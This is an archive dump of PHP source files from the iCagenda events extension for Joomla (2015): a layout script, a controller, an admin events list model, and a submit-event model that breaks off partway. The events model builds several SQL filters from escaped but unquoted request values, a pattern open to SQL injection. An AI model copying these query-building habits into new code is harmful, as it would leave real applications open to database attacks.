 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.12 2015-10-06
 * @since       3.2.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// loading iCagenda PARAMS (Component + menu)
$app			= JFactory::getApplication();
$params			= $app->getParams();
$isSef			= $app->getCfg('sef');

$jview			= JRequest::getCmd('view', '');
$jlayout		= JRequest::getCmd('layout', 'default');

$layouts_array	= array('event', 'registration');
$ic_main_list	= ! in_array($jlayout, $layouts_array) ? true : false;

$datesDisplay	= $params->get('datesDisplay', 1);

$eventTimeZone	= null;
$only_startdate	= ($item->weekdays || $item->weekdays == '0') ? false : true;


	if ($ic_main_list)
	{
		$this_date		= JHtml::date($evt, 'Y-m-d H:i', $eventTimeZone);
		$date_today		= JHtml::date('now', 'Y-m-d');
		$period			= unserialize($item->period);
		$period			= is_array($period) ? $period : array();
		$is_in_period	= (in_array($this_date, $period)) ? true : false;

		if ($is_in_period
			&& $item->weekdays == ''
			&& strtotime($item->startdatetime) <= strtotime($date_today)
			&& strtotime($item->enddatetime) >= strtotime($date_today)
			)
		{
			$ongoing = true;
		}
		else
		{
			$ongoing = false;
		}

		// Day in Date Box (list of events)
		$EVENT_DAY			= $this->day_display_global ? icagendaEvents::day($evt, $item) : false;
		// Month in Date Box (list of events)
		$EVENT_MONTHSHORT	= $this->month_display_global ? icagendaEvents::dateBox($this_date, 'monthshort', $ongoing) : false;
		// Year in Date Box (list of events)
		$EVENT_YEAR			= $this->year_display_global ? icagendaEvents::dateBox($evt, 'year', $ongoing) : false;
		// Time in Date Box (list of events)
		$EVENT_TIME			= ($this->time_display_global && $item->displaytime == 1)
							? icagendaEvents::dateToTimeFormat($evt)
							: false;

		// Load Event Data
		$EVENT_DATE			= iCModeliChelper::nextDate($evt, $item);
		$EVENT_SET_DATE		= iCModeliChelper::eventUrlDate($evt);
		$READ_MORE			= ($this->shortdesc_display_global == '' && !$item->shortdesc)
							? iCModeliChelper::readMore($item->url, $item->desc, '[&#46;&#46;&#46;]')
							: false;

		// URL to event details view (list of events)
		if ($datesDisplay == 1)
		{
			$date_var		= ($isSef == '1') ? '?date=' : '&amp;date=';
			$set_url_date	= $date_var . $EVENT_SET_DATE;
			$date_url		= ($only_startdate && in_array($this_date, $period))
							? ''
							: $date_var . $EVENT_SET_DATE;

			$EVENT_URL = $item->url . $date_url;
		}
		else
		{
			$EVENT_URL = $item->url;
		}
	}
	else
	{
		$EVENT_URL = $item->url;
	}


	/**
	 *	Event Header
	 */
	$BACK_ARROW				= $item->BackArrow;

	$EVENT_SHARING			= $item->share_event;
	$EVENT_REGISTRATION		= $item->reg;

	// Event Title
	$EVENT_TITLE			= $item->titleFormat;
	$EVENT_TITLEBAR			= $item->titlebar;


	/**
	 *	Event Dates
	 */
	$TEXT_FOR_NEXTDATE		= $item->dateText;
	$EVENT_NEXT				= $item->next;
	$EVENT_NEXTDATE			= $item->nextDate;
//	$EVENT_DAY				= $item->day;
//	$EVENT_MONTHSHORT		= $item->monthShort;

	// Get var 'date_value' set to session in event details view
	$session = JFactory::getSession();
	$get_date = $session->get('date_value', '');

	if (!$get_date)
	{
		$get_date = JRequest::getVar('date', '');
	}

	if ($get_date)
	{
		$ex = explode('-', $get_date);

		if (count($ex) == 5)
		{
			$dateday = $ex['0'].'-'.$ex['1'].'-'.$ex['2'].' '.$ex['3'].':'.$ex['4'];
		}
		else
		{
			$dateday = '';
		}
	}

	$timeformat = $params->get('timeformat');

	$timedisplay = '';
	$timedisplay = $item->displaytime;

	$lang_time = '';

	if ($get_date)
	{
		$EVENT_THIS_DATE = iCModeliChelper::formatDate($dateday);

		if ($timedisplay == 1)
		{
			if ($timeformat == 1)
			{
				$lang_time = strftime('%H:%M', strtotime($dateday));
			}
			else
			{
				$lang_time = strftime('%I:%M %p', strtotime($dateday));
			}

			$EVENT_THIS_DATE.= ' <small>' . $lang_time;

			$weekdays_array = explode (',', $item->weekdays);
			$weekdays = count($weekdays_array);

			if ( !empty($weekdays) && $item->periodTest
				&& ($lang_time != $item->endTime) )
			{
				$EVENT_THIS_DATE.= ' - ' . $item->endTime;
			}

			$EVENT_THIS_DATE.= '</small>';
		}

		$dates_array	= unserialize($item->dates);
		$dates_array	= is_array($dates_array) ? $dates_array : array();
		$period_array	= unserialize($item->period);
		$period_array	= is_array($period_array) ? $period_array : array();

		// Period with no weekdays selected
		if (isset($EVENT_THIS_DATE)
			&& empty($weekdays)
			&& in_array($dateday, $period_array)
			)
		{
			$EVENT_VIEW_DATE_TEXT	= $TEXT_FOR_NEXTDATE;
			$EVENT_VIEW_DATE		= $EVENT_NEXTDATE;
		}

		// Single Date or date in a period with weekdays selection
		elseif (isset($EVENT_THIS_DATE)
			&& !empty($weekdays)
			&& (in_array($dateday, $dates_array) || in_array($dateday, $period_array))
			)
		{
			$EVENT_VIEW_DATE_TEXT	= JTEXT::_('COM_ICAGENDA_EVENT_DATE');
			$EVENT_VIEW_DATE		= $EVENT_THIS_DATE;
		}

		// Next/Last Date (if type is list of events)
		else
		{
			$EVENT_VIEW_DATE_TEXT	= $TEXT_FOR_NEXTDATE;
			$EVENT_VIEW_DATE		= $EVENT_NEXTDATE;
		}
	}
	else
	{
		$EVENT_VIEW_DATE_TEXT	= $TEXT_FOR_NEXTDATE;
		$EVENT_VIEW_DATE		= $EVENT_NEXTDATE;
	}

	/**
	 *	Feature Icons
	 */
	$FEATURES_ICONSIZE_LIST		= $params->get('features_icon_size_list');
	$FEATURES_ICONSIZE_EVENT	= $params->get('features_icon_size_event');
	$SHOW_ICON_TITLE			= $params->get('show_icon_title');
	// Get media path
	$params_media = JComponentHelper::getParams('com_media');
	$image_path = $params_media->get('image_path', 'images');
	$FEATURES_ICONROOT_LIST		= JUri::root() . $image_path . '/icagenda/feature_icons/' . $FEATURES_ICONSIZE_LIST . '/';
	$FEATURES_ICONROOT_EVENT	= JUri::root() . $image_path . '/icagenda/feature_icons/' . $FEATURES_ICONSIZE_EVENT . '/';
	$FEATURES_ICONS				= array();

	if (isset($item->features) && is_array($item->features)
		&& (!empty($FEATURES_ICONSIZE_LIST) || !empty($FEATURES_ICONSIZE_EVENT)))
	{
		foreach ($item->features as $feature)
		{
			$FEATURES_ICONS[] = array('icon' => $feature->icon, 'icon_alt' => $feature->icon_alt);
		}
	}


	/**
	 *	Event Image and Thumbnails
	 */
	$EVENT_IMAGE			= $item->image;
	$EVENT_IMAGE_TAG		= $item->imageTag;

	$IMAGE_LARGE = $IMAGE_MEDIUM = $IMAGE_SMALL = $IMAGE_XSMALL = '';

	if ($EVENT_IMAGE)
	{
		$default_thumbnail = 'media/com_icagenda/images/nophoto.jpg';

		if (icagendaClass::isLoaded('icagendaThumb'))
		{
//			$IMAGE_LARGE			= icagendaThumb::sizeLarge($item->image, null, true);
			$IMAGE_MEDIUM			= ($ic_main_list) ? icagendaThumb::sizeMedium($item->image) : '';
//			$IMAGE_SMALL			= icagendaThumb::sizeSmall($item->image);
//			$IMAGE_XSMALL			= icagendaThumb::sizeXSmall($item->image);
			$IMAGE_LARGE_HTML		= ( ! $ic_main_list) ? icagendaThumb::sizeLarge($item->image, 'imgTag', true) : '';
//			$IMAGE_MEDIUM_HTML		= icagendaThumb::sizeMedium($item->image, 'imgTag');
//			$IMAGE_SMALL_HTML		= icagendaThumb::sizeSmall($item->image, 'imgTag');
//			$IMAGE_XSMALL_HTML		= icagendaThumb::sizeXSmall($item->image, 'imgTag');
		}
		else
		{
			$IMAGE_LARGE = $IMAGE_MEDIUM = $IMAGE_SMALL = $IMAGE_XSMALL = '';
			$IMAGE_LARGE_HTML = $IMAGE_MEDIUM_HTML = $IMAGE_SMALL_HTML = $IMAGE_XSMALL_HTML = '';
		}
	}


	/**
	 *	Event Details - Description, Meta-description and Intro Text
	 */
	$EVENT_DESC				= ($item->desc || $item->shortdesc) ? true : false;
//	$EVENT_DESCRIPTION		= $item->description;
	$EVENT_META				= $item->metaAsShortDesc;

	$desc_display_event = $params->get('desc_display_event', '');

	if ($desc_display_event == '1') // full desc
	{
		$EVENT_SHORTDESC	= false;
		$EVENT_DESCRIPTION	= $item->description ? $item->description : false;
	}
	elseif ($desc_display_event == '2') // short desc
	{
		$EVENT_SHORTDESC	= $item->shortDescription ? $item->shortDescription : false;
		$EVENT_DESCRIPTION	= false;
	}
	elseif ($desc_display_event == '3') // short and full desc
	{
		$EVENT_SHORTDESC	= $item->shortDescription ? $item->shortDescription : false;
		$EVENT_DESCRIPTION	= $item->description ? $item->description : false;
	}
	elseif ($desc_display_event == '0') // Hide
	{
		$EVENT_SHORTDESC	= false;
		$EVENT_DESC			= false;
		$EVENT_DESCRIPTION	= false;
	}
	else // Auto (First Full Description, if does not exist, will use Short Description if not empty)
	{
		$EVENT_SHORTDESC	= false;
		$EVENT_DESCRIPTION	= $item->description ? $item->description : $item->shortDescription;
	}


	/**
	 *	Events List - Intro Text
	 */
	$shortdesc_display_global = $params->get('shortdesc_display_global', '');
	$Filtering_ShortDesc_Global = JComponentHelper::getParams('com_icagenda')->get('Filtering_ShortDesc_Global', '');

	if ($shortdesc_display_global == '1') // short desc
	{
		$EVENT_DESCSHORT	= $item->shortdesc ? $item->shortdesc : false;

		if ($EVENT_DESCSHORT)
		{
			$EVENT_DESCSHORT	= empty($Filtering_ShortDesc_Global) ? '<i>' . $EVENT_DESCSHORT . '</i>' : $EVENT_DESCSHORT;
		}
	}
	elseif ($shortdesc_display_global == '2') // Auto-Introtext
	{
		$EVENT_DESCSHORT	= $item->descShort ? $item->descShort : false;
	}
	elseif ($shortdesc_display_global == '0') // Hide
	{
		$EVENT_DESCSHORT	= false;
	}
	else // Auto (First Short Description, if does not exist, Auto-generated short description from the full description. And if does not exist, will use meta description if not empty)
	{
		$short_description = $item->shortdesc ? $item->shortdesc : $item->descShort;

		$metaAsShortDesc = $item->metaAsShortDesc;

		if ($metaAsShortDesc)
		{
			$metaAsShortDesc	= empty($Filtering_ShortDesc_Global) ? '<i>' . $metaAsShortDesc . '</i>' : $metaAsShortDesc;
		}

		$EVENT_DESCSHORT	= $short_description ? $short_description : $metaAsShortDesc;
	}

	$EVENT_INTRO_TEXT = $EVENT_DESCSHORT; // New var name since 3.4.0


	/**
	 *	Custom Fields
	 */
	$CUSTOM_FIELDS	= $item->loadEventCustomFields;


	/**
	 *	Event Information
	 */
	$EVENT_INFOS			= $item->infoDetails;

	// All Dates ON
	if (
//		$get_date
//		&&
		$item->maxNbTickets
		&& $item->maxNbTickets != '1000000'
		)
	{
//		$SEATS_AVAILABLE	= (isset($dateday) && isset($item->totalRegistered))
		$SEATS_AVAILABLE	= isset($item->totalRegistered)
							? ($item->maxNbTickets - $item->totalRegistered)
							: '';

//		if (isset($dateday) && $SEATS_AVAILABLE === 0)
		if ($SEATS_AVAILABLE === 0)
		{
			$SEATS_AVAILABLE	= JText::_('COM_ICAGENDA_REGISTRATION_DATE_NO_TICKETS_LEFT');
		}

//		$MAX_NB_OF_SEATS	= (isset($dateday))
//							? $item->maxNbTickets
//							: false;
		$MAX_NB_OF_SEATS	= $item->maxNbTickets;
	}
	// All Dates ON
	else
	{
		$SEATS_AVAILABLE		= false;
		$MAX_NB_OF_SEATS		= false;
	}

	$EVENT_VENUE			= $params->get('venue_display_global') ? $item->place_name : false;
	$EVENT_CITY				= $params->get('city_display_global') ? $item->city : false;
	$EVENT_COUNTRY			= $params->get('country_display_global') ? $item->country : false;
	$EVENT_POSTAL_CODE		= $params->get('city_display_global') ? $item->city : false;

	$EVENT_PHONE			= $item->phone;
	$EVENT_EMAIL			= $item->email;
	$EVENT_EMAIL_CLOAKING	= $item->emailLink;
	$EVENT_WEBSITE			= $item->website;
	$EVENT_WEBSITE_LINK		= $item->websiteLink;
//	$EVENT_ADDRESS			= $item->address;

	/**
	 *	Event Address
	 */
	if ( ! $ic_main_list && $item->address)
	{
		// Create an array to separate all strings between comma in individual parts
		$EVENT_STREET		= $item->address;
		$ADDRESS_EX			= explode(',', $EVENT_STREET);

		$country_to_check	= ($EVENT_COUNTRY == 'United States') ? 'USA' : $EVENT_COUNTRY;
		$country_removed	= false;
		$city_removed		= false;

		$i = 0;
		$count_ADDRESS_EX = count($ADDRESS_EX);

		for ($i; $i < $count_ADDRESS_EX; $i++)
		{
			// Remove the country from the full address
			if ($EVENT_COUNTRY && ! $country_removed
				&& strpos($EVENT_STREET, $country_to_check) !== false)
			{
				$country_removed		= true;

				// Remove country
				$EVENT_STREET		= substr( $EVENT_STREET, 0, strripos( $EVENT_STREET, ',' ) );
			}
			elseif ($EVENT_CITY && ! $city_removed
				&& strpos($EVENT_STREET, $EVENT_CITY) !== false)
			{
				$city_removed		= true;

				// Remove last value, until city is not found in the string
				$EVENT_STREET = substr( $EVENT_STREET, 0, strripos( $EVENT_STREET, ',' ) );
			}
		}

		if ($EVENT_STREET && $EVENT_POSTAL_CODE)
		{
			$EVENT_POSTAL_CODE = str_replace($EVENT_STREET . ', ', '', $item->address);
			$EVENT_POSTAL_CODE = substr( $EVENT_POSTAL_CODE, 0, strripos( $EVENT_POSTAL_CODE, ',' ) );
		}

		$EVENT_ADDRESS = $EVENT_STREET ? $EVENT_STREET . '<br />' : '';

		if ($EVENT_CITY && $EVENT_COUNTRY && $EVENT_POSTAL_CODE)
		{
			$EVENT_ADDRESS.= $EVENT_POSTAL_CODE . ', ' . $EVENT_COUNTRY . '<br />';
		}
		elseif ($EVENT_CITY && !$EVENT_COUNTRY && $EVENT_POSTAL_CODE)
		{
			$EVENT_ADDRESS.= $EVENT_POSTAL_CODE . '<br />';
		}
		elseif (!$EVENT_CITY && $EVENT_COUNTRY)
		{
			$EVENT_ADDRESS.= $EVENT_COUNTRY . '<br />';
		}
	}
	else
	{
		$EVENT_ADDRESS = false;
	}


	$GOOGLEMAPS_COORDINATES	= $item->coordinate;
	$EVENT_MAP				= $item->map;

	$EVENT_SINGLE_DATES		= $item->datelistUl;
	$EVENT_PERIOD			= $item->periodDates;

	$PARTICIPANTS_DISPLAY	= $item->participantList;
	$PARTICIPANTS_HEADER	= $item->participantListTitle;
	$EVENT_PARTICIPANTS		= $item->registeredUsers;

	$EVENT_ATTACHEMENTS		= $item->file;
	$EVENT_ATTACHEMENTS_TAG	= $item->fileTag;

	$CATEGORY_TITLE			= $item->cat_title;
	$CATEGORY_COLOR			= $item->cat_color;
	$CATEGORY_FONTCOLOR		= $item->fontColor;


	/**
	 *	Add Event Info from plugins (if exists)
	 */
	$onListAddEventInfo = $this->dispatcher->trigger('onListAddEventInfo', array('com_icagenda.list', &$item, &$this->params));

	$IC_LIST_ADD_EVENT_INFO = '';

	foreach ($onListAddEventInfo as $added_info)
	{
		$IC_LIST_ADD_EVENT_INFO.= '<div class="ic-list-add-event-info">' . $added_info . '</div>';
	}

com_icagenda/add/elements/index.html000060400000000054152453734450013505 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/add/index.html000060400000000054152453734450011671 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/controller.php000060400000003353152453734450012045 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-23
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Controller class - iCagenda.
 */
class iCagendaController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param	boolean			$cachable	If true, the view output will be cached
	 * @param	array			$urlparams	An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return	JController		This object to support chaining.
	 * @since	1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		// Set Input J3
		$jinput = JFactory::getApplication()->input;

		// Load the submenu.
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			iCagendaHelper::addSubmenu(JRequest::getCmd('view', 'icagenda'));
			$view = JRequest::getCmd('view', 'icagenda');
			JRequest::setVar('view', $view);
		}
		else
		{
			iCagendaHelper::addSubmenu($jinput->get('view', 'icagenda'));
			$view = $jinput->get('view', 'icagenda');
			$jinput->set('view', $view);
		}

		parent::display();

		return $this;
	}
}
com_icagenda/models/events.php000060400000022716152453734450012455 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-16
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
class iCagendaModelEvents extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param	array		An optional associative array of configuration settings.
	 * @see		JController
	 * @since	1.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'ordering', 'a.ordering',
				'state', 'a.state',
				'approval', 'a.approval',
				'created', 'a.created',
				'title', 'a.title',
				'username', 'a.username',
				'email', 'a.email',
				'category', 'category',
				'image', 'a.image',
				'file', 'a.file',
				'next', 'a.next',
				'place', 'a.place',
				'city', 'a.city',
				'country', 'a.country',
				'desc', 'a.desc',
				'params', 'a.params',
				'location', 'a.location',
				'category_id',
				'site_itemid', 'a.site_itemid',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 * @since	1.0
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication('administrator');

		// Load the filter search.
		$search = $app->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		// Load the filter state.
		$published = $app->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string');
		$this->setState('filter.state', $published);

		// Filter (dropdown) category
		$category = $this->getUserStateFromRequest($this->context.'.filter.category', 'filter_category');
		$this->setState('filter.category', $category);

		// Filter categoryId
		$categoryId = $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id');
		$this->setState('filter.category_id', $categoryId);

		// Filter (dropdown) upcoming
		$upcoming = $this->getUserStateFromRequest($this->context.'.filter.upcoming', 'filter_upcoming', '', 'string');
		$this->setState('filter.upcoming', $upcoming);

		// Filter (dropdown) Frontend Menu Itemid
		$site_itemid = $this->getUserStateFromRequest($this->context.'.filter.site_itemid', 'filter_site_itemid', '', 'string');
		$this->setState('filter.site_itemid', $site_itemid);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_icagenda');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('a.id', 'desc');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param	string		$id	A prefix for the store id.
	 * @return	string		A store id.
	 * @since	1.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id.= ':' . $this->getState('filter.search');
		$id.= ':' . $this->getState('filter.state');
		$id.= ':' . $this->getState('filter.category_id');
		$id.= ':' . $this->getState('filter.site_itemid');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return	JDatabaseQuery
	 * @since	1.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db		= $this->getDbo();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('`#__icagenda_events` AS a');

		// Join over the language
		$query->select('l.title AS language_title')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor');
		$query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join the category
		$query->select('c.title AS category');
		$query->join('LEFT', '#__icagenda_category AS c ON c.id=a.catid');

		// Join over the users for the author.
		$query->select('ua.name AS author_name, ua.username AS author_username')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_by');

		// Filter by published state
		$published = $this->getState('filter.state');

		if (is_numeric($published))
		{
			$query->where('a.state = '.(int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state IN (0, 1))');
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = '.(int) substr($search, 3));
			}
			else
			{
				$search = $db->Quote('%'.$db->escape($search, true).'%');
				$query->where('( a.title LIKE '.$search.' OR a.username LIKE '.$search.' OR a.id LIKE '.$search.' OR a.email LIKE '.$search.' OR a.file LIKE '.$search.' OR a.place LIKE '.$search.' OR a.city LIKE '.$search.' OR a.country LIKE '.$search.' OR a.desc LIKE '.$search.' OR c.title LIKE '.$search.')');
			}
		}

		// Filter category (admin)
		$category = $db->escape($this->getState('filter.category'));

		if (!empty($category))
		{
			$query->where('(a.catid='.$category.')');
		}

		// Filter Frontend Menu Itemid (admin)
		$site_itemid = $db->escape($this->getState('filter.site_itemid'));

		if ($site_itemid == '0')
		{
			$query->where('(a.site_itemid = "0")');
		}
		elseif ($site_itemid)
		{
			$query->where('(a.site_itemid = ' . $site_itemid . ')');
		}

		// Filter by categories. (NOT USED (multiple-categories filter))
		$categoryId = $this->getState('filter.category_id');

		if (is_numeric($categoryId) && !empty($categoryId))
		{
			$query->where('a.catid = ' . $categoryId . '');
		}
		elseif (is_array($categoryId) && !empty($categoryId))
		{
			JArrayHelper::toInteger($categoryId);
			$categoryId = implode(',', $categoryId);
			$query->where('a.catid IN (' . $categoryId . ')');
		}


		// Filter Upcoming Dates
		$upcoming = $db->escape($this->getState('filter.upcoming'));

		if (!empty($upcoming))
		{
			if ($upcoming == '1')
			{
				$query->where(' a.next >= CURDATE()');
			}
			elseif ($upcoming == '2')
			{
				$query->where(' a.next < CURDATE() ');
			}
			elseif ($upcoming == '3')
			{
				$query->where(' a.next >= NOW() ');
			}
			elseif ($upcoming == '4')
			{
				$query->where(' a.next >= CURDATE() AND a.next < ( CURDATE() + INTERVAL 1 DAY ) ');
			}
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');

		if ($orderCol && $orderDirn)
		{
			$query->order($db->escape($orderCol.' '.$orderDirn));
		}

		return $query;
	}


	/**
	 * Build an SQL query to load the list of all categories.
	 *
	 * @return	JDatabaseQuery
	 * @since	3.3.0
	 */
	function getCategories()
	{
		// Create a new query object.
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('c.id AS catid, c.title AS category');
		$query->from('`#__icagenda_category` AS c');

		// Filter by published state
		$query->where('(c.state IN (0,1))');

		// Order Ordering ASC
		$query->order('c.ordering ASC');

		$db->setQuery($query);
		$categories = $db->loadObjectList();

		if (count($categories) > 0)
		{
			foreach ($categories as $cat)
			{
				$list[$cat->catid] = $cat->category;
			}

			return $list;
		}
		else
		{
			return array();
		}
	}

	/**
	 * Build an SQL query to load the list of menu item itemid.
	 *
	 * @return	JDatabaseQuery
	 * @since	3.3.0
	 */
	function getMenuItemID()
	{
		// Create a new query object.
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('m.id AS itemid, m.link AS menu_link, m.title AS menu_title');
		$query->from('`#__menu` AS m');

		// Filter by published state
		$query->where('(m.link = "index.php?option=com_icagenda&view=submit")');
		$query->where('(m.published IN (0,1))');

		$db->setQuery($query);
		$itemids = $db->loadObjectList();

		$list['0'] = 'Created in admin';

		if (count($itemids) > 0)
		{
			foreach ($itemids as $itemid)
			{
				$list[$itemid->itemid] = $itemid->itemid . ' - ' . $itemid->menu_title;
			}

			return $list;
		}
		else
		{
			return array();
		}
	}

	/**
	 * Gets a list of options for Upcoming (Events) Filter.
	 *
	 * @since	3.3.0
	 */
	function getUpcoming()
	{
		$list['1'] = JText::_('COM_ICAGENDA_OPTION_TODAY_AND_UPCOMING');
		$list['2'] = JText::_('COM_ICAGENDA_OPTION_PAST_EVENTS');
		$list['3'] = JText::_('COM_ICAGENDA_OPTION_UPCOMING_EVENTS');
		$list['4'] = JText::_('COM_ICAGENDA_OPTION_TODAY');

		return $list;
	}
}
com_icagenda/models/submit.php000060400000100601152453734450012442 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-25
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modelitem');
jimport('joomla.form.form');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

/**
 * iCagenda Submit Event Model
 */
class iCagendaModelSubmit extends JModelItem
{
	protected $data;

	protected $msg;

	function getForm()
	{
	    $form = JForm::getInstance('submit', JPATH_COMPONENT . '/models/forms/submit.xml');

		if (empty($form))
		{
			return false;
		}

	    return $form;
	}

	public function test_input($data)
	{
		$this->data = trim($data);
		$this->data = stripslashes($this->data);

		return $this->data;
	}

	public function getData()
	{
		$app		= JFactory::getApplication();
		$user		= JFactory::getUser();
		$lang		= JFactory::getLanguage();
		$session	= JFactory::getSession();

		jimport( 'joomla.filter.output' );

		$eventTimeZone = null;
		$error_messages = array();

		// Get Params
		$params = $app->getParams();

		$submitAccess = $params->get('submitAccess', '');
		$approvalGroups = $params->get('approvalGroups', array("8"));

		// Get User Groups
		// Joomla 3.x/2.5 SWITCH
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$userGroups = $user->groups;
		}
		else
		{
			$userGroups = $user->getAuthorisedGroups();
		}

		$user_id		= $user->get('id');

		// logged-in Users: Name/User Name Option
		$nameJoomlaUser	= $params->get('nameJoomlaUser', 1);
		$u_name			= ($nameJoomlaUser == 1) ? $user->get('name') : $user->get('username');

		// Redirection settings
		$baseURL		= JURI::base();
		$subpathURL		= JURI::base(true);

		$baseURL		= str_replace('/administrator', '', $baseURL);
		$subpathURL		= str_replace('/administrator', '', $subpathURL);

		$urlsend		= str_replace('&amp;','&', JRoute::_('index.php?option=com_icagenda&view=submit&layout=send'));

		// Sub Path filtering
		$subpathURL		= ltrim($subpathURL, '/');

		// URL List filtering
		$urlsend		= ltrim($urlsend, '/');

		if (substr($urlsend, 0, strlen($subpathURL)+1) == "$subpathURL/")
		{
			$urlsend = substr($urlsend, strlen($subpathURL)+1);
		}

		$urlsend		= rtrim($baseURL, '/') . '/' . ltrim($urlsend, '/');

		// Get return params
		$submit_return			= $params->get('submitReturn', '');
		$submit_return_article	= $params->get('submitReturn_Article', $urlsend);
		$submit_return_url		= $params->get('submitReturn_Url', $urlsend);

		if (($submit_return == 1) && is_numeric($submit_return_article))
		{
			$url_return = JURI::root().'index.php?option=com_content&view=article&id=' . $submit_return_article;
		}
		elseif ($submit_return == 2)
		{
			$url_return = $submit_return_url;
		}
		else
		{
			$url_return = $urlsend;
		}

		// Set alert messages
		$alert_title			= $params->get('alert_title', '');
		$alert_body				= $params->get('alert_body', '');
		$url_redirect			= isset($urlsend_custom) ? $urlsend_custom : $urlsend; // Url custom not yet available.
		$alert_title_redirect	= $alert_title ? $alert_title : JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION' );
		$alert_body_redirect	= $alert_body ? $alert_body : JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_CONFIRMATION' );

		// Set post data
		$this->data						= new stdClass();
		$this->data->id					= null;
		$this->data->asset_id			= JRequest::getVar('asset_id', '', 'post');
		$this->data->ordering			= 0;
		$this->data->state				= 1;


		// Control: if Manager
		jimport( 'joomla.access.access' );
		$adminUsersArray = array();

		foreach ($approvalGroups AS $ag)
		{
			$adminUsers			= JAccess::getUsersByGroup($ag, False);
			$adminUsersArray	= array_merge($adminUsersArray, $adminUsers);
		}

		$this->data->approval			= (in_array($user_id, $adminUsersArray)) ? '0' : '1';
		$this->data->access				= 1 ;
		$this->data->language			= '*';
//		$menuID 						= JRequest::getVar('menuID', '', 'post');


		// USER NAME
		$this->data->username 			= JRequest::getVar('username', '', 'post');

		if ( ! $this->data->username)
		{
			$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED_NAME', JText::_('COM_ICAGENDA_SUBMIT_FORM_USER_NAME'));
		}

		// USER EMAIL
		$this->data->created_by_email	= JRequest::getVar('created_by_email', '', 'post');

		if ( ! $this->data->created_by_email)
		{
